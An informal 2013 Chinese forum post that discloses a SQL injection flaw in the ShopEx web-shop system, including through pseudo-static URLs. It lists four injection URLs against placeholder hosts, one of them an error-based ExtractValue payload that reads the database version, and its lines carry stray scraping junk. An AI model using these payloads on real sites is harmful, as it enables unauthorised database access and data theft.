注入漏洞是一种经典的漏洞类型了，自从上次跟基友深聊了注入，我对注入的认识又提升了一个高度，在我看来不可以注入的地方，TMD的竟然可以注入，注入攻击最早出现了1998年，貌似是，记不清了。10多年了，依然存在，虽然比以前出现量少了，但不得不用到的一种攻击技术…. q3 n9 F5 v( D) w$ n
2 p1 U# F: X$ s
好吧，我扯远了~~: u+ l/ f4 F( U! R8 B" E S& ], B
其实注入不仅仅出现在动态页面上，难道伪静态后就不能注入了吗？NO~$ A: I0 ? N `2 {6 X
不扯了，直接说主题吧，shopex网店系统注入漏洞。注入点如下：) c% v" r b7 o
Y$ W5 @/ G, g% Ahttp://www.x.cn/index.php?comment-822′/**/and/**/’1′=’1-ask-commentlist.html, O- @+ X- J; |1 X$ \6 [
, ^* e2 f8 X2 R; b& s. ~* M5 E: M
http://www.x.com/comment-8967′/**/and/**/ExtractValue(0×64,concat(0×01,(select/**/@@version)))/**/order/**/by/**/’1-ask-commentlist.html+ ~) P; }1 N: F7 E! q- F
$ U/ D* n4 O4 }% l, V
http://www.x.cn/index.php?comment-822′/**/and/**/’1′=’1-ask-commentlist.html( q0 @$ ^4 `. n Z1 E" p
5 x% v) k" |3 t" x) q8 n" Shttp://demo.x.com.cn/485/index.php?comment-190′/**/and/**/’1′=’1-ask-commentlist.html
" M O, J& \, v( j$ N0 n8 [# U; Z6 p0 L- @- k1 N$ |
& k3 L! |* l9 H$ B/ I
一个是网站未开启伪静态的注入，一个是网站开启伪静态后的注入，以及是否屏蔽错误回显的2X2=4种情况。
7 d7 [; f3 h0 n: e9 w' F如何注入就不多说了，10多年的东西了…不会也会了…
1 d/ l3 X* `8 I4 t% V
( L! [" e- Q) h$ j8 T, o |
发表于 2013-2-4 16:20:04
收藏
支持
反对